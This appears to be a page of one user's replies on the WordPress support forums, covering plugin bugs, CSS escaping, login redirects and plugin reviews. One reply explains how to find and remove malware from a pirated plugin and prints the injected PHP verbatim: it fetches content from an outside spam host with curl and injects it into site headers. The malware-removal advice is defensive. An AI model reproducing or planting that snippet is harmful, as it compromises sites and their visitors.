Forum Replies Created

Viewing 15 replies - 91 through 105 (of 115 total)
  • Thread Starter Bryan Willis

    (@codecandid)

    https://c2.staticflickr.com/6/5587/14574218398_4e378e9e0a_b.jpg

    The 3rd and 4th steps might be too much. This is just an idea, I could work on it. Let me know what you think.

    Also, if you don’t like this idea or think it’s too complicated, another options could be to allow [stag_sidebar] to include additional paramaters.

    For example [stag_sidebar] maybe could add attributes to change or remove the tilte and/or widget before/afterr

    Thread Starter Bryan Willis

    (@codecandid)

    So things like this will not work then?

    #some-id > .some-class > .some-other-class {
    color: #000000;
    }

    The browser escaping the > so it is processed in the browsers head like this and not working correctly:

    <style type="text/css">
    #some-id &gt ; .some-class &gt ; .some-other-class {
        color: #000000;
    }
    </style>

    There are a lot of ways to go about this depending on your situation. I needed to come up with a similar solution. However, I also wanted to redirect users back to the referring page when logging in to WordPress.

    Here’s what I came up with:

    if ((isset($_GET['action']) && $_GET['action'] != 'logout') || (isset($_POST['login_location']) && !empty($_POST['login_location']))) {
    	add_filter('login_redirect', 'login_redirect_back_to_referrer', 10, 3);
    	function login_redirect_back_to_referrer()
    	{
    		$location = $_SERVER['HTTP_REFERER'];
    		wp_safe_redirect($location);
    		exit();
    	}
    }
    
    if (class_exists('user_switching')) {
    	function wp_admin_redirect_user_switching_plugin()
    	{
    		if (current_user_can('list_users')) return;
    		global $pagenow;
    		if ($pagenow == 'users.php') {
    			wp_redirect(admin_url('/'));
    			exit;
    		}
    	}
    	add_action('admin_init', 'wp_admin_redirect_user_switching_plugin');
    }

    The first part I use to redirect users back to the rerferring page when loggin in. I use this function regardless even if the plugin is not active. I think it makes things more user friendly than always redirecting users to the dashboard/profile.

    The second part checks if user-switching is active. If it is I check to see if the user has permissions to view users.php. If they don’t, I go ahead and redirect them to my desired page.

    If you don’t want to redirect to referrer page you will need to make some changes. Basically, just look in the plugin to see how it’s redirecting. If I remember correctly it uses php $_REQUEST to redirect. So you could check the $_REQUEST to dynamically change the location using the login_redirect filter. This is probably the most ideal solution.

    Other options (not tested):

    – Use $_SERVER['REQUEST_URI'] to check URL or parse_url query to check if the url/query matches the url user-switching normally redirects to. If it does, redirect it to your desired location

    – Remove the query argument and then add your own using add_query_arg

    I’m not sure if you are referring to “network” as a wordpress multisite network or just your site. If you mean a wordpress multisite network you can also use the “is_super_admin” and is_network_admin conditional tags

    Anyway, while these are merely suggestions, since I’m not totally sure if I understand what you need, you can see that there are a ton of different ways to do this. I’m guessing the developer has a better solution as well.

    Thread Starter Bryan Willis

    (@codecandid)

    Great solution! Thanks for the quick reply. That would be awesome if you could do that. This is definitely the best syntax highlighting plugin out there keep up the good work.

    Strange because it takes me to the front-end editor. Maybe there was an update?

    Thread Starter Bryan Willis

    (@codecandid)

    Esmi, as per pippins plugins “things to keep in mind when writing a review http://pippinsplugins.com/how-to-leave-a-good-bad-review/

    1) Was my review rude? … No. The fact alone that I had left five stars should suggest that let alone reading my review.

    2) Was my issue explained?… Well yes, the plugin doesn’t work anymore… Should I have stated in my review that the plugin doesn’t work because ‘the_editor’ is a deprecated function or that its spitting console errors like : “Uncaught TypeError: Cannot read property ‘canvas’ of undefined”. NO, that is what the dedicated subforum is where two posts stating issues with the plugin happened two weeks before I posted my “review. People reading reviews what simple, quick reviews, stating the pros and cons to help them decide on whether or not they should download it… Does my review do that? I believe so.

    3) Had there been a reasonable attempt to contact the author? Yes the issues had already been acknowledged.

    4) Lastly, does the poster respond to their reviews/comments? Yes and I also post issues all the time in Support section, however seeing that the author did not respond to the issue after two weeks, I thought it would be nice to let others know that while this plugin is great, don’t download until it is updated. Personally, that’s something I would want to know when downloading a plugin, although maybe thats just me. I leave Support posts all the time and usually try my best to find fixes for the issues I come across: http://ww.wp.xz.cn/support/topic/script-errors-2?replies=1.

    While I don’t claim this was the Mozart of reviews, I do think it suffices as a helpful review. I left a 5 star, a positive comment and my evaluation to the author and I let the public know not to install it until issues were fixed. I’m guessing you use wordpress frequently, so you would have known that there have been many issues and transitions that authors had to fix/update to get there plugins working with Tinymce 4.

    As per your exact questions, I will try to be more precise….

    I ran several debugging tests after this plugin stopped working with new wordpress releases including tinymce4. My debugging experience indicated to me, that this plugin was no longer compatible for it included several tinymce4 and wordpress deprecated functions. While this plugin is one of my favorite to those wondering, it currently does not work. I know this because I tried two fresh installs to test it. It will continue to work on versions using tinymce3, but needs to be patched/upgraded for newer releases. I hope everyone can be patient, the developer has been informed of the issue.

    Bryan Willis

    (@codecandid)

    Same thing happened to me after hitting quick edit and then update… Deactivated all plugins, default themes etc. Did you ever have any luck?

    I think they must be saved in the database and got deleted

    Bryan Willis

    (@codecandid)

    any solutions yet? Have the exact same thing

    Thread Starter Bryan Willis

    (@codecandid)

    Hey zotsf I stopped using this plugin due to the code being distorted so I’m not sure what was causing the double editor. However gravity forms and
    simple page ordering were both active on my site as well so I’m guessing it was one of them.

    As for the horribly distorted html code I referred to, the problem is this plugin

    This same issue happened on another site I was using with the preserved-html-editor-markup plugin and the Visual Composer plugin.

    Thread Starter Bryan Willis

    (@codecandid)

    Sorry for not replying just noticed this reply. Anyway, your update did do the trick. Thanks for the support! Keep up the good work.

    Thread Starter Bryan Willis

    (@codecandid)

    By the way for people who love plugins like this:

    http://codecanyon.net/item/iconize-wordpress-plugin/6481628

    and

    http://ww.wp.xz.cn/plugins/advanced-wp-columns/

    and

    And if you use them with:

    http://ww.wp.xz.cn/plugins/preserved-html-editor-markup/

    and

    http://ww.wp.xz.cn/plugins/tinymce-templates/

    Unfortunately iconize is premium only and lacks some of the great features of this plugin like the double click functionality, but Al Harji it works well for adding icons.

    Thread Starter Bryan Willis

    (@codecandid)

    Thanks a lot for the quick fix!

    By the way this guys posted answer the other day about searching for http://spamcheckr.com/l.php

    Good news is you don’t seem to have too many plugins running. If you have a form plugin that you downloaded buy “accidentally” forgot to pay for like formcraft or gravity forms, it’s probably that.

    You can check your folders by using a useful little command in the terminal if you have grep (default on macs and many others but not pc). For pc use findstr or download grep. If you don’t have access to these files locally either download them or access them remotely with ssh/telnes

    The grep command I use is:

    grep -nr 'http://spamcheckr.com/l.php' /www/mysite/wp-content

    (Don’t forget to change /www/mysite/wp-content to the location of your wordpress site)

    Using -nr options with grep it will output the exact line of the folder and file the code is on.

    Unfortunately it will probalby tell you it’s on line one, but when you open the file you’ll notice its a compressed file that is about 250 lines long. No problem though. Just open it with any text editor that has syntax highlighting turned on and look for this code:

    if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqqc2_chesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqqc2_chesk');}}

    It will be the only code that shows up highlighted while all other code will remain greyed out because it’s only there to trick you and doesn’t actually do anything. You can then delete that code.

    You might also want to check on who added the file in the first place so just use the same grep command that you used above but instead use the name of the file that you found the malicious code in. So if the file name is includes/settings.php run the following in the command line:

    grep -nr 'includes/settings.php' /www/mysite/wp-content

    Most likely the file was included in the main php script in the plugin root or theme functions.php.

    It will look something like this

    include 'includes/settings.php';

    You’re safe to delete that line, if the file was all garbage code. I’d also look through that page to see if anything else was added that looks suspicious.

    You’re safest bet would be to discontinue from using the plugin entirely, but if you really need it you could run through some online virus checkers or just look through the plugin to be extra safe.

    Most often these plugins come from sites like wplocker/themeok or other sites that claim they have premium plugins for free. Bottom line is, it’s too good to be true and they want to rip you off so either pay for them or be ready for them to screw with your site.

    Thread Starter Bryan Willis

    (@codecandid)

    Well I take back my entire last comment… I just realized the double click that reopens the editor! Looks like you found the better way of doing it!

    Works perfectly.

Viewing 15 replies - 91 through 105 (of 115 total)